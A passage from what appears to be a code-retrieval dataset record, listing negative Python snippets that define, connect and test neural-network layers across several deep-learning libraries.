\"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def run(layers):","def neural_net(self, layers):\n model = nn.Sequential()\n for l in range(0, len(layers) - 1):\n model.add_module(\"layer_\"+str(l), nn.Linear(layers[l],layers[l+1], bias=True))\n if l != len(layers) - 2:\n model.add_module(\"tanh_\"+str(l), nn.Tanh())\n\n return model","def process_layer(layer_def, inputs):\n\n outputs = []\n for n in layer_def['neurons']:\n n_res = n.activate(inputs)\n\n outputs.append(n_res)\n\n return outputs","def connect_layers(self):\n if not self.check():\n msg = \"Failed to check neural network.\"\n print(msg)\n logging.error(msg)\n return\n\n # 1. set input layer\n pre_layer = self.input_layer\n for layer in self.hidden_layers:\n layer.set_input_layer(pre_layer)\n pre_layer = layer\n self.output_layer.set_input_layer(pre_layer)\n\n # 2. set output layer\n next_layer = self.output_layer\n for layer in reversed(self.hidden_layers):\n layer.set_next_layer(next_layer)\n next_layer = layer\n self.input_layer.set_next_layer(next_layer)\n\n # 3. call layer init\n self.input_layer.init()\n for layer in self.hidden_layers:\n layer.init()\n self.output_layer.init()\n\n return","def layers(self, layers):\n self._layers = layers\n prev = None\n for layer in layers:\n if not layer.inputs and prev is not None:\n layer.inputs = [prev]\n prev = layer","def create_network(layers):\r\n return NeuronNetwork(layers)","def layers(self, layers):\n self._layers = layers\n self.thetas = []\n prev = None\n for layer in layers:\n if not layer.inputs and prev is not None:\n layer.inputs = [prev]\n prev = layer\n self.thetas.extend(layer.thetas())","def num_layers(self): # -> int:\n ...","def add_layers(self, layers):\n\n existing_layers = self.layers\n assert len(existing_layers) > 0\n for layer in layers:\n assert layer.get_mlp() is None\n layer.set_mlp(self)\n layer.set_input_space(existing_layers[-1].get_output_space())\n existing_layers.append(layer)\n assert layer.layer_name not in self.layer_names\n self.layer_names.add(layer.layer_name)","def print_layers(network, y_in):\r\n layer_features=get_layer_activations(network,y_in)\r\n for idx,feature in enumerate(layer_features):\r\n s=np.shape(feature)\r\n print(\"Layer \"+str(idx)+\": \"+str(s[1]*s[2]*s[3])+\" neurons / \", s)","def __init__(self, layers):\n\n\t\tself.layers = layers","def bnn_serial(*layers):\n nlayers = len(layers)\n init_funs, apply_funs = zip(*layers)\n\n def init_fun(rng, input_shape):\n params = []\n for init_fun in init_funs:\n rng, layer_rng = jax.random.split(rng)\n input_shape, param = init_fun(layer_rng, input_shape)\n params.append(param)\n return input_shape, params\n\n def apply_fun(params, inputs, **kwargs):\n rng = kwargs.pop('rng', None)\n rngs = jax.random.split(rng, nlayers) if rng is not None else (None,) * nlayers\n total_kl = 0\n infodict = {}\n for fun, param, rng in zip(apply_funs, params, rngs):\n output = fun(param, inputs, rng=rng, **kwargs)\n if len(output) == 2:\n inputs, layer_kl = output\n elif len(output) == 3:\n inputs, layer_kl, info = output\n infodict.update(info)\n else:\n raise RuntimeError(f\"Expected 2 or 3 outputs but got {len(output)}.\")\n total_kl = total_kl + layer_kl\n return inputs, total_kl, infodict\n\n return Layer(init_fun, apply_fun)","def __init__(self,\n neurons_list: list,\n hidden_activation: str = None,\n out_activation: str = None,\n error_func: str = None):\n self.__layers = []\n for i in range(1, len(neurons_list)):\n prev_layer = neurons_list[i - 1]\n cur_layer = neurons_list[i]\n\n out_activ = lin\n out_activ_deriv = lin_deriv\n\n if out_activation == \"sigmoid\":\n out_activ = sigmoid\n out_activ_deriv = sigmoid_deriv\n elif out_activation == \"relu\":\n out_activ = relu\n out_activ_deriv = relu_deriv\n elif out_activation == \"l_relu\":\n out_activ = l_relu\n out_activ_deriv = l_relu_deriv\n\n hidden_activ = lin\n hidden_activ_deriv = lin_deriv\n\n if hidden_activation == \"sigmoid\":\n hidden_activ = sigmoid\n hidden_activ_deriv = sigmoid_deriv\n elif hidden_activation == \"relu\":\n hidden_activ = relu\n hidden_activ_deriv = relu_deriv\n elif hidden_activation == \"l_relu\":\n hidden_activ = l_relu\n hidden_activ_deriv = l_relu_deriv\n\n if i == len(neurons_list) - 1:\n layer = NeuralNetLayer(cur_layer, prev_layer, out_activ, out_activ_deriv)\n else:\n layer = NeuralNetLayer(cur_layer, prev_layer, hidden_activ, hidden_activ_deriv)\n self.__layers.append(layer)\n\n error_func_f = squared_error\n error_deriv = squared_error_der\n\n if error_func == \"mse\":\n error_func_f = squared_error\n error_deriv = squared_error_der\n elif error_func == \"kl\":\n error_func_f = kl_divergence\n error_deriv = kl_divergence_der\n\n self.__error_func = error_func_f\n self.__error_deriv = error_deriv","def __init__(self, layerNeurons, numberOfLayers, initialWeights = None, lowerBound = None, upperBound = None):\r\n \r\n # Ensure that there is at-least one input and one output layer in the network\r\n assert len(layerNeurons) > 1, \"At least one input layer and one output layer is needed\"\r\n \r\n # Get the total number of weights needed in the network\r\n totalWeightCount = NeuralNetwork.getSizeOfWeightVector(layerNeurons)*numberOfLayers\r\n \r\n # Initialise the weights with the initialiser or random values\r\n if initialWeights is None:\r\n if lowerBound is None:\r\n lowerBound=-1/np.sqrt(layerNeurons[0])\r\n if upperBound is None:\r\n upperBound=1/np.sqrt(layerNeurons[0])\r\n self.weights = np.random.uniform(lowerBound, upperBound, totalWeightCount)\r\n else:\r\n assert initialWeights.size == totalWeightCount, (\"Length of initial weight matrix incorrect. You need \"+str(totalWeightCount)+\" weights\")\r\n self.weights = initialWeights.view()\r\n \r\n self.weights.shape = (numberOfLayers, -1)\r\n # create an empty array of layers\r\n self.layers = []\r\n layerBlockStart = 0\r\n \r\n for layerInputDimention, layerOutputDimention in zip(layerNeurons, layerNeurons[1:]):\r\n # initialise each layer with its input and output dimentions and bi-directional pointers to the relivant weights\r\n layerBlockEnd = layerBlockStart+(layerInputDimention*layerOutputDimention)\r\n layerBiasEnd = layerBlockEnd+layerOutputDimention\r\n newLayer = batchNetworkLayer(layerInputDimention, layerOutputDimention, numberOfLayers, \r\n self.weights[..., :, layerBlockStart:layerBlockEnd], \r\n self.weights[..., :, layerBlockEnd:layerBiasEnd])\r\n self.layers.append(newLayer)\r\n \r\n layerBlockStart = layerBiasEnd","def layers(self): # -> LayerView:\n ...","def __init__(self, layerNeurons, initialWeights = None, layerTypes=None, **kwargs):\r\n \r\n # Ensure that there is at-least one input and one output layer in the network\r\n assert len(layerNeurons)>1, \"At least one input layer and one output layer is needed\"\r\n \r\n # Get the total number of weights needed in the network\r\n totalWeightCount = NeuralNetwork.getSizeOfWeightVector(layerNeurons)\r\n \r\n # Initialise the weights with the initializer or random values\r\n if initialWeights is None:\r\n self.weights = np.random.uniform(-1/np.sqrt(layerNeurons[0]), 1/np.sqrt(layerNeurons[0]), totalWeightCount)\r\n else:\r\n assert len(initialWeights) == totalWeightCount, (\"Length of initial weight matrix incorrect. You need \"+str(totalWeightCount)+\" weights\")\r\n self.weights = np.array(initialWeights, dtype = np.float64) \r\n \r\n # create an empty array of layers\r\n self.layers = []\r\n layerBlockStart = 0\r\n \r\n if layerTypes is None or len(layerTypes)<(len(layerNeurons)-1):\r\n layerTypes=[NetworkLayer]*(len(layerNeurons)-1)\r\n \r\n for layerInputDimention, layerOutputDimention, layerType in zip(layerNeurons, layerNeurons[1:], layerTypes):\r\n # initialise each layer with its input and output dimentions and bi-directional pointers to the relivant weights\r\n layerBlockEnd = layerBlockStart+(layerInputDimention*layerOutputDimention)\r\n layerBiasEnd = layerBlockEnd+layerOutputDimention\r\n newLayer = layerType(layerInputDimention, layerOutputDimention, \r\n self.weights[..., layerBlockStart:layerBlockEnd], \r\n self.weights[..., layerBlockEnd:layerBiasEnd], **kwargs)\r\n self.layers.append(newLayer)\r\n \r\n layerBlockStart = layerBiasEnd\r\n \r\n # Tell the output later to use a different function to calculate the delta \r\n newLayer.calcDelta = newLayer.calcDeltaOutputLayer","def multilayer(self, n_layers):\n for i in range(1, n_layers+1):\n print(\"Layer nr: \", i)\n # For the first layer, take the input image\n if i == 1:\n # Convolution\n self.convolution(i, self.img)\n # Use the output of the convolution as input of the pooling layer\n img = Image.open(str(\"conv\" + str(i) + \".png\"))\n # Pooling\n self.pool(img.convert('RGB'), i)\n else:\n # Use the output of the pooling as input of the convolution layer\n img = Image.open(str(\"conv_pool\" + str(i-1) + \".png\"))\n # Convolution\n self.convolution(i, img.convert(\"RGB\"))\n # Use the output of the convolution as input of the pooling layer\n img = Image.open(str(\"conv\"+ str(i) + \".png\"))\n # Pooling\n self.pool(img.convert('RGB'), i)","def test_output_layers_created_correctly():\n layers = [[\"gru\", 25], [\"lstm\", 23], [\"linear\", 5], [\"linear\", 10]]\n\n rnn = RNN(input_dim=5, layers_info=layers, hidden_activations=\"relu\", output_activation=\"relu\")\n\n assert rnn.output_layers[0].in_features == 5\n assert rnn.output_layers[0].out_features == 10\n\n layers = [[\"gru\", 25], [\"lstm\", 23], [\"lstm\", 10]]\n\n rnn = RNN(input_dim=5, layers_info=layers, hidden_activations=\"relu\",\n output_activation=\"relu\")\n\n assert rnn.output_layers[0].input_size == 23\n assert rnn.output_layers[0].hidden_size == 10\n\n layers = [[\"gru\", 25], [\"lstm\", 23], [[\"lstm\", 10], [\"linear\", 15]]]\n rnn = RNN(input_dim=5, layers_info=layers, hidden_activations=\"relu\",\n output_activation=[\"relu\", \"softmax\"])\n\n assert rnn.output_layers[0].input_size == 23\n assert rnn.output_layers[0].hidden_size == 10\n\n assert rnn.output_layers[1].in_features == 23\n assert rnn.output_layers[1].out_features == 15","def layers(self, x):\n raise NotImplementedError","def build_neuron_network(nb_features_map: Union[Sequence[int], None] = None,\n size_linear_layers: Union[Sequence[int], None] = None,\n dropout_rate: Union[Tuple[float, float], float] = 0.3,\n conv_kernel_size: Union[Sequence[int], int] = 3,\n conv_stride: int = 1,\n conv_padding: int = 1,\n conv_activation: str = \"relu\",\n conv_architecture: str = \"CPD\",\n pool_kernel_size: int = 2,\n pool_stride: int = 2,\n dense_activation: str = \"relu\",\n pretrained: Union[str, None] = None,\n grayscale: bool = True,\n optimizer: str = \"Adam\",\n weight_decay: float = 0.,\n learning_rate: float = 0.001,\n ) -> Tuple[nn.Module, List, torch.optim.Optimizer]:\n # Initializations\n if pretrained is not None:\n grayscale = False\n if grayscale:\n channels = 1\n else:\n channels = 3\n if nb_features_map is None:\n nb_features_map = [8]\n if size_linear_layers is None:\n size_linear_layers = []\n height = 224\n width = 224\n module = nn.Module()\n shapes = [(\"input\", channels, height, width)]\n layers = {\"extractor\": [], \"regressor\": []}\n if not hasattr(dropout_rate, \"__len__\"):\n dropout_rate = (dropout_rate, 0.)\n next_dropout_rate = dropout_rate[0]\n # If a pretrained model is used:\n if pretrained is None:\n # Input checks\n if hasattr(conv_kernel_size, \"__len__\"):\n if len(conv_kernel_size) != len(nb_features_map):\n raise ValueError(\"The length of nb_features_map shall match the length of conv_kernel_size\")\n else:\n conv_kernel_size = [conv_kernel_size] * len(nb_features_map)\n # Feature extractor\n next_layer_type = itertools.cycle(conv_architecture)\n nb_feature_map = None\n i = 0\n while True:\n layer_type = next(next_layer_type)\n if layer_type == \"C\":\n # Convolutional layer\n try:\n nb_feature_map = nb_features_map[i]\n except IndexError:\n break\n name = \"conv2d-{:02d}\".format(i+1)\n conv = nn.Conv2d(shapes[-1][1], nb_feature_map, conv_kernel_size[i], stride=conv_stride,\n padding=conv_padding)\n layers[\"extractor\"].append((name, conv))\n h, w = output_shape_conv_and_pool_layer(rows=shapes[-1][2], columns=shapes[-1][3],\n kernel=conv_kernel_size[i], stride=conv_stride,\n padding=conv_padding)\n shapes.append((name, nb_feature_map, h, w))\n i += 1\n # Activation\n if conv_activation == \"relu\":\n activ = nn.ReLU()\n elif conv_activation == \"elu\":\n activ = nn.ELU(alpha=0.1)\n elif conv_activation == \"leaky\":\n activ = nn.LeakyReLU()\n else:\n activ = nn.ReLU()\n name = \"{}-{:02d}\".format(conv_activation, i)\n layers[\"extractor\"].append((name, activ))\n # activation does not change the size\n shapes.append((name, shapes[-1][1], shapes[-1][2], shapes[-1][3]))\n elif layer_type == \"P\":\n # Max-pooling\n name = \"maxpool2d-{:02d}\".format(i)\n pool = nn.MaxPool2d(pool_kernel_size, pool_stride)\n layers[\"extractor\"].append((name, pool))\n h, w = output_shape_conv_and_pool_layer(rows=shapes[-1][2], columns=shapes[-1][3],\n kernel=pool_kernel_size, stride=pool_stride)\n shapes.append((name, nb_feature_map, h, w))\n elif layer_type == \"D\":\n # Dropout\n if next_dropout_rate > 0.:\n name = \"dropout-{:02d}\".format(i)\n dropout = nn.Dropout(p=next_dropout_rate)\n layers[\"extractor\"].append((name, dropout))\n # Dropout does not change the size\n shapes.append((name, shapes[-1][1], shapes[-1][2], shapes[-1][3]))\n next_dropout_rate += dropout_rate[1]\n elif layer_type == \"B\":\n # Batch normalization\n name = \"batchnorm-{:02d}\".format(i)\n batch = nn.BatchNorm2d(shapes[-1][1])\n layers[\"extractor\"].append((name, batch))\n # Batch norm. does not change the size\n shapes.append((name, shapes[-1][1], shapes[-1][2], shapes[-1][3]))\n # Add a flatten layer\n name = \"flatten\"\n flatten = nn.Flatten(1)\n layers[\"extractor\"].append((name, flatten))\n shapes.append((name, shapes[-1][1] * shapes[-1][2] * shapes[-1][3]))\n # Create extractor module\n extractor = nn.Sequential(OrderedDict(layers[\"extractor\"]))\n module.add_module(\"extractor\", extractor)\n elif pretrained == \"VGG16\":\n pre_trained = models.vgg16(pretrained=True)\n modules = []\n for _name, _module in pre_trained.named_children():\n if _name != 'classifier':\n modules.append((_name, _module))\n modules.append((\"flatten\", nn.Flatten(1)))\n vgg16 = nn.Sequential(OrderedDict(modules))\n # Freeze all parameters in the pre-trained model\n # So we prevent gradients from being calculated, it will save computation time\n for param in vgg16.parameters():\n param.requires_grad = False\n module.add_module('extractor', vgg16)\n shapes.append((pretrained, 25088))\n else:\n raise ValueError(f\"Unknown pre-trained model '{pretrained}'.\")\n # Regressor\n for i, size_linear_layer in enumerate(size_linear_layers):\n # Add a linear layer\n name = \"linear-{:02d}\".format(i + 1)\n linear = nn.Linear(shapes[-1][1], size_linear_layer)\n layers[\"regressor\"].append((name, linear))\n shapes.append((name, size_linear_layer))\n # Activation\n if dense_activation == \"relu\":\n activ = nn.ReLU()\n elif dense_activation == \"elu\":\n activ = nn.ELU(alpha=0.1)\n elif dense_activation == \"leaky\":\n activ = nn.LeakyReLU()\n else:\n activ = nn.ReLU()\n name = \"{}-{:02d}\".format(dense_activation, i + 1)\n layers[\"regressor\"].append((name, activ))\n shapes.append((name, shapes[-1][1])) # activation does not change the size\n # Dropout\n if next_dropout_rate > 0.:\n name = \"dropout-{:02d}\".format(i + 1)\n dropout = nn.Dropout(p=next_dropout_rate)\n layers[\"regressor\"].append((name, dropout))\n shapes.append((name, shapes[-1][1])) # Dropout does not change the size of array\n next_dropout_rate += dropout_rate[1]\n # Add the final layer, the output size is fixed to 68 x 2 = 136\n name = \"output\"\n linear = nn.Linear(shapes[-1][1], 136)\n layers[\"regressor\"].append((name, linear))\n shapes.append((name, 136))\n # Create regressor module\n regressor = nn.Sequential(OrderedDict(layers[\"regressor\"]))\n module.add_module(\"regressor\", regressor)\n # Weight initialization\n module.apply(weight_initialization)\n # Optimizer\n if optimizer == \"Adam\":\n optim = torch.optim.Adam(module.parameters(), lr=learning_rate, weight_decay=weight_decay)\n elif optimizer == \"AdamW\":\n optim = torch.optim.AdamW(module.parameters(), lr=learning_rate, weight_decay=weight_decay)\n elif optimizer == \"SGD\":\n optim = torch.optim.SGD(module.parameters(), lr=learning_rate, weight_decay=weight_decay, momentum=0.9)\n else:\n raise ValueError(f\"Unknown optimizer {optimizer}.\")\n return module, shapes, optim","def neural_network(z, dim_out):\n hidden_dim = 15\n net1 = slim.fully_connected(z, hidden_dim, activation_fn=None)\n net2 = slim.fully_connected(net1, dim_out, activation_fn=tf.tanh)\n return net2","def test_output_head_layers():\n for output_dim in [[[\"linear\", 3],[\"linear\", 9]], [[\"linear\", 4], [\"linear\", 20]], [[\"linear\", 1], [\"linear\", 1]]]:\n nn_instance = RNN(input_dim=5, layers_info=[[\"gru\", 20], [\"lstm\", 8], output_dim],\n hidden_activations=\"relu\", output_activation=[\"softmax\", None])\n assert nn_instance.output_layers[0].out_features == output_dim[0][1]\n assert nn_instance.output_layers[0].in_features == 8\n assert nn_instance.output_layers[1].out_features == output_dim[1][1]\n assert nn_instance.output_layers[1].in_features == 8","def _init_layers(self) -> None:\n weight_nums, bias_nums = [], []\n for i in range(self.num_layers):\n if i == 0:\n weight_nums.append((self.in_channels + 2) * self.feat_channels)\n bias_nums.append(self.feat_channels)\n elif i == self.num_layers - 1:\n weight_nums.append(self.feat_channels * 1)\n bias_nums.append(1)\n else:\n weight_nums.append(self.feat_channels * self.feat_channels)\n bias_nums.append(self.feat_channels)\n\n self.weight_nums = weight_nums\n self.bias_nums = bias_nums\n self.num_params = sum(weight_nums) + sum(bias_nums)","def layers(self, layers):\n\n self._layers = layers","def build_layers(self):\n raise NotImplementedError","def check_RNN_layers_valid(self):\n error_msg_layer_type = \"First element in a layer specification must be one of {}\".format(self.valid_RNN_hidden_layer_types)\n error_msg_layer_form = \"Layer must be of form [layer_name, hidden_units]\"\n error_msg_layer_list = \"Layers must be provided as a list\"\n error_msg_output_heads = \"Number of output activations must equal number of output heads\"\n\n assert isinstance(self.layers_info, list), error_msg_layer_list\n\n all_layers = self.layers_info[:-1]\n output_layer = self.layers_info[-1]\n assert isinstance(output_layer, list), error_msg_layer_list\n if isinstance(output_layer[0], list):\n assert len(output_layer) == len(\n self.output_activation), error_msg_output_heads\n for layer in output_layer:\n all_layers.append(layer)\n else:\n assert not isinstance(self.output_activation, list) or len(self.output_activation) == 1, error_msg_output_heads\n all_layers.append(output_layer)\n\n rest_must_be_linear = False\n for layer in all_layers:\n assert isinstance(layer, list), \"Each layer must be a list\"\n assert isinstance(layer[0], str), error_msg_layer_type\n layer_type_name = layer[0].lower()\n assert layer_type_name in self.valid_RNN_hidden_layer_types, \"Layer name {} not valid, use one of {}\".format(\n layer_type_name, self.valid_RNN_hidden_layer_types)\n\n assert isinstance(layer[1], int), error_msg_layer_form\n assert layer[1] > 0, \"Must have hidden_units >= 1\"\n assert len(layer) == 2, error_msg_layer_form\n\n if rest_must_be_linear: assert layer[0].lower() == \"linear\", \"If have linear layers then they must come at end\"\n if layer_type_name == \"linear\": rest_must_be_linear = True","def test_cvqnn_layers_exception_nlayers(self):\n shapes = expected_shapes(1, 2)\n weights = [np.random.random(shape) for shape in shapes[:-1]]\n weights += [np.random.random((2, shapes[-1][1]))]\n\n dev = DummyDevice(wires=2)\n\n @qml.qnode(dev)\n def circuit():\n qml.CVNeuralNetLayers(*weights, wires=range(2))\n return qml.expval(qml.QuadX(0))\n\n with pytest.raises(ValueError, match=\"The first dimension of all parameters\"):\n circuit()","def __init__(self, weights=[], alphas=[]):\n self._layers = [Layer(w, a) for w, a in zip(weights, alphas)]","def model(input_shape, output_dim, num_hidden_units,num_hidden_units_2,num_hidden_units_3, num_code_units, batch_size=BATCH_SIZE):\n shape = tuple([None]+list(input_shape[1:]))\n print(shape)\n l_in = lasagne.layers.InputLayer(shape=shape)\n\n l_hidden_1 = lasagne.layers.DenseLayer(\n l_in,\n num_units=num_hidden_units,\n nonlinearity=lasagne.nonlinearities.rectify,\n )\n\n l_hidden_2 = lasagne.layers.DenseLayer(\n l_hidden_1,\n num_units=num_hidden_units_2,\n nonlinearity=lasagne.nonlinearities.rectify,\n )\n\n l_hidden_3 = lasagne.layers.DenseLayer(\n l_hidden_2,\n num_units=num_hidden_units_3,\n nonlinearity=lasagne.nonlinearities.rectify,\n )\n\n l_code_layer = lasagne.layers.DenseLayer(\n l_hidden_3,\n num_units=num_code_units,\n nonlinearity=lasagne.nonlinearities.softmax,\n )\n\n l_hidden_3 = lasagne.layers.DenseLayer(\n l_code_layer,\n num_units=num_hidden_units_3,\n nonlinearity=lasagne.nonlinearities.rectify,\n )\n\n l_hidden_4 = lasagne.layers.DenseLayer(\n l_hidden_3,\n num_units=num_hidden_units_2,\n nonlinearity=lasagne.nonlinearities.rectify,\n )\n\n l_hidden_5 = lasagne.layers.DenseLayer(\n l_hidden_4,\n num_units=num_hidden_units,\n nonlinearity=lasagne.nonlinearities.rectify,\n )\n\n l_out = lasagne.layers.DenseLayer(\n l_hidden_5,\n num_units=output_dim,\n nonlinearity=None,\n )\n\n return l_out","def request_layers(url):\n layer_names = get_layers(url)\n for l in layer_names:\n print(\"Checking '%s'...\" % l)\n get_image(url, l, check_blank=True)","def Network_model(input_data):\n layer1_param={'weights':tf.Variable(tf.random_normal([784, no_neurons_layer1])), \n 'biases': tf.Variable(tf.random_normal([no_neurons_layer1]))}\n \n layer2_param={'weights':tf.Variable(tf.random_normal([no_neurons_layer1, no_neurons_layer2])), \n 'biases': tf.Variable(tf.random_normal([no_neurons_layer2]))}\n \n layer3_param={'weights':tf.Variable(tf.random_normal([no_neurons_layer2, no_neurons_layer3])), \n 'biases': tf.Variable(tf.random_normal([no_neurons_layer3]))}\n \n layer4_param={'weights':tf.Variable(tf.random_normal([no_neurons_layer3, no_neurons_layer4])), \n 'biases': tf.Variable(tf.random_normal([no_neurons_layer4]))}\n \n output_layer_param={'weights':tf.Variable(tf.random_normal([no_neurons_layer4, no_classes])), \n 'biases': tf.Variable(tf.random_normal([no_classes]))}\n \n #so uptill now the weights for each layer is initialized\n \n \"\"\"\n Now what will happened in each layer, I will define next. basically the weights are multiplied\n in each layer with the corresponding inputs and then it is passed through activation function \n (relu in this case) and the output is given as input to the other layer.\n sign:B-Jan\n \"\"\"\n \n l1_output= tf.add(tf.matmul(input_data,layer1_param['weights']), layer1_param['biases'])\n l1_output=tf.nn.relu(l1_output)\n \n l2_output= tf.add(tf.matmul(l1_output,layer2_param['weights']), layer2_param['biases'])\n l2_output=tf.nn.relu(l2_output)\n \n \n l3_output= tf.add(tf.matmul(l2_output,layer3_param['weights']), layer3_param['biases'])\n l3_output=tf.nn.relu(l3_output)\n \n l4_output= tf.add(tf.matmul(l3_output,layer4_param['weights']), layer4_param['biases'])\n l4_output=tf.nn.relu(l4_output)\n \n #The final output Layer\n output= tf.matmul(l4_output, output_layer_param['weights'])+output_layer_param['biases']\n \n return output # contains the output of the last output layer","def return_concat_layers(layers):\n outputs = []\n for i, l in enumerate(layers):\n if 'Mixed' in l.name:\n outputs.append(l.output)\n \n return outputs","def iteration_layers(model, speedup, session, indepth_layer=None):\n if speedup is True:\n layer_names_reduced = ['conv2d1',\n 'conv2d2',\n 'mixed3b',\n 'mixed4b',\n 'mixed5b']\n layer_tensors = [session.graph.get_tensor_by_name(name + \":0\") for name in layer_names_reduced]\n else:\n layer_tensors = model.layer_tensors\n\n return layer_tensors","def num_layers(self):\n\n return 2 + self.num_hidden_layers","def layers(arr):\n\tlayer_exist = [0, 0, 0, 0, 0]\n\tarr = arr.split()\n\tfor i, a in enumerate(arr):\n\t\tif arr[i].lower().startswith(\"convolution\") or arr[i].lower().startswith(\"innerproduct\"):\n\t\t\tif i != len(arr) and arr[i+1].lower() == \"relu\":\n\t\t\t\tlayer_exist[0] = 1\n\n\t\t\n\t\tif arr[i].lower() == \"avepooling\":\n\t\t\tif (i != (len(arr) - 1) and arr[i+1].lower() != \"relu\") or (i == len(arr) - 1):\n\t\t\t\tlayer_exist[4] = 1\n\t\t\telse:\n\t\t\t\tlayer_exist[2] = 1\n\t\tif arr[i].lower() == \"maxpooling\":\n\t\t\tif (i != (len(arr) - 1) and arr[i+1].lower() != \"relu\") or (i == len(arr) - 1):\n\t\t\t\tlayer_exist[3] = 1\n\t\t\telse:\n\t\t\t\tlayer_exist[1] = 1\n\n\treturn layer_exist","def __init__(self, num_inputs=3, hidden_layers=[3, 3], num_outputs=2):\n\n self.num_inputs = num_inputs\n self.hidden_layers = hidden_layers\n self.num_outputs = num_outputs\n\n # create a generic representation of the layers\n layers = [num_inputs] + hidden_layers + [num_outputs]\n\n # create random connection weights for the layers\n weights = []\n for i in range(len(layers) - 1):\n w = np.random.rand(layers[i], layers[i + 1])\n weights.append(w)\n self.weights = weights\n\n activations = []\n\n for i in range(len(layers)):\n a = np.zeros(layers[i])\n activations.append(a)\n self.activations = activations\n\n derivatives = []\n\n for i in range(len(layers) - 1):\n d = np.zeros(layers[i])\n derivatives.append(d)\n self.derivatives = derivatives","def test_hidden_layers_created_correctly():\n layers = [[\"gru\", 25], [\"lstm\", 23], [\"linear\", 5], [\"linear\", 10]]\n\n rnn = RNN(input_dim=5, layers_info=layers, hidden_activations=\"relu\",\n output_activation=\"relu\")\n\n assert type(rnn.hidden_layers[0]) == nn.GRU\n assert rnn.hidden_layers[0].input_size == 5\n assert rnn.hidden_layers[0].hidden_size == 25\n\n assert type(rnn.hidden_layers[1]) == nn.LSTM\n assert rnn.hidden_layers[1].input_size == 25\n assert rnn.hidden_layers[1].hidden_size == 23\n\n assert type(rnn.hidden_layers[2]) == nn.Linear\n assert rnn.hidden_layers[2].in_features == 23\n assert rnn.hidden_layers[2].out_features == 5\n\n assert type(rnn.output_layers[0]) == nn.Linear\n assert rnn.output_layers[0].in_features == 5\n assert rnn.output_layers[0].out_features == 10","def getNodesPerLayer(shape, nodes, layer, fullDim):\n\n\tnet = []\n\tnodes_total = 0\n\t\n\tfor lay in range(layer):\n\n\t\tn = [0, 0]\n\t\tn_count = 0\n\n\t\tif shape == \"lin\":\n\n\t\t\tn[0] = nodes\n\t\t\tn[1] = nodes\n\t\t\tn_count += nodes\n\n\t\telif shape == \"trap\":\n\n\t\t\tk = 2 * nodes / layer\n\t\t\tm = layer*0.5\n\t\t\t\n\t\t\tfor i in range(2):\n\n\t\t\t\tcl = float(lay + i)\n\t\t\t\n\t\t\t\tif cl > m:\n\t\t\t\t\tcl = m - (cl%m)\n\t\t\t\t\n\t\t\t\tn[i] = round(cl*k)\n\n\t\t\tn_count += n[i]\n\n\t\telif shape == \"ramp\":\n\t\t\t\n\t\t\tk = nodes / layer\n\t\n\t\t\tfor i in range(2):\n\t\n\t\t\t\tcl = float(lay + i - 1)\n\t\t\t\tn[i] = round(nodes - k * cl)\n\t\n\t\t\tif lay == 0:\n\t\t\t\tn[1] = nodes\n\t\t\telif lay == 1:\n\t\t\t\tn[0] = nodes\n\n\t\t\tn_count += n[i]\t\t\t\t\n\n\t\tif lay == 0:\n\t\t\tn[0] = fullDim\n\t\tif lay == layer - 1:\n\t\t\tn[1] = 1\n\t\t\tn_count = 0\n\n\t\tnodes_total += n_count\n\t\tnet.append(n)\n\n\treturn [net, nodes_total]","def model_number_layers(model):\n for idx, layer in enumerate(model.layers):\n print(idx, layer.name)","def get_layer_neurons(self):\n return self.neurons","def test_CNN_hyperparameters_nrlayers(self):\n hyperparams = modelgen.generate_CNN_hyperparameter_set(\n min_layers=4, max_layers=4)\n assert len(hyperparams.get('filters')) == 4","def layers(self) ->Optional[nn.ModuleList]:\n return self._layers","def layers(model_size):\n if model_size == 'tiny':\n return (\n ('linear', 100),\n ('activation', 'relu'))\n elif model_size == 'small':\n return (\n ('conv2d', (4, 4), 16, 'VALID', 2),\n ('activation', 'relu'),\n ('conv2d', (4, 4), 32, 'VALID', 1),\n ('activation', 'relu'),\n ('linear', 100),\n ('activation', 'relu'))\n elif model_size == 'medium':\n return (\n ('conv2d', (3, 3), 32, 'VALID', 1),\n ('activation', 'relu'),\n ('conv2d', (4, 4), 32, 'VALID', 2),\n ('activation', 'relu'),\n ('conv2d', (3, 3), 64, 'VALID', 1),\n ('activation', 'relu'),\n ('conv2d', (4, 4), 64, 'VALID', 2),\n ('activation', 'relu'),\n ('linear', 512),\n ('activation', 'relu'),\n ('linear', 512),\n ('activation', 'relu'))\n elif model_size == 'large_200':\n return (\n ('conv2d', (3, 3), 64, 'SAME', 1),\n ('activation', 'relu'),\n ('conv2d', (3, 3), 64, 'SAME', 1),\n ('activation', 'relu'),\n ('conv2d', (3, 3), 128, 'SAME', 2),\n ('activation', 'relu'),\n ('conv2d', (3, 3), 128, 'SAME', 1),\n ('activation', 'relu'),\n ('conv2d', (3, 3), 128, 'SAME', 1),\n ('activation', 'relu'),\n ('linear', 200),\n ('activation', 'relu'))\n elif model_size == 'large':\n return (\n ('conv2d', (3, 3), 64, 'SAME', 1),\n ('activation', 'relu'),\n ('conv2d', (3, 3), 64, 'SAME', 1),\n ('activation', 'relu'),\n ('conv2d', (3, 3), 128, 'SAME', 2),\n ('activation', 'relu'),\n ('conv2d', (3, 3), 128, 'SAME', 1),\n ('activation', 'relu'),\n ('conv2d', (3, 3), 128, 'SAME', 1),\n ('activation', 'relu'),\n ('linear', 512),\n ('activation', 'relu'))\n else:\n raise ValueError('Unknown model: \"{}\"'.format(model_size))","def trainNet():","def convnet_layers( inputs, widths, mode ):\n\n training = (mode == \"train\")\n \n with tf.variable_scope( \"convnet\" ): # h,w\n \n #print(inputs.shape)\n x = conv_layer( inputs, layer_params[0], training ) \n #print(x.shape)\n x = conv_layer( x, layer_params[1], training ) \n #print(x.shape)\n x = pool_layer( x, 2, 'valid', 'pool2' )\n #print(x.shape)\n x = conv_layer( x, layer_params[2], training ) \n x = conv_layer( x, layer_params[3], training )\n #print(x.shape)\n x = pool_layer( x, 2, 'valid', 'pool4' )\n #print(x.shape)\n x = conv_layer( x, layer_params[4], training ) \n x = conv_layer( x, layer_params[5], training )\n #print(x.shape)\n x = pool_layer( x, 2, 'valid', 'pool6') \n #print(x.shape)\n x = conv_layer( x, layer_params[6], training ) \n x = conv_layer( x, layer_params[7], training )\n \n x = tf.layers.max_pooling2d( x, [2, 1], [2, 1], \n padding='valid', \n name='pool8' ) \n\n #print(x.shape)\n\n # squeeze row dim\n x = tf.squeeze( x, axis=1, name='features' )\n\n #print(x.shape)\n\n sequence_length 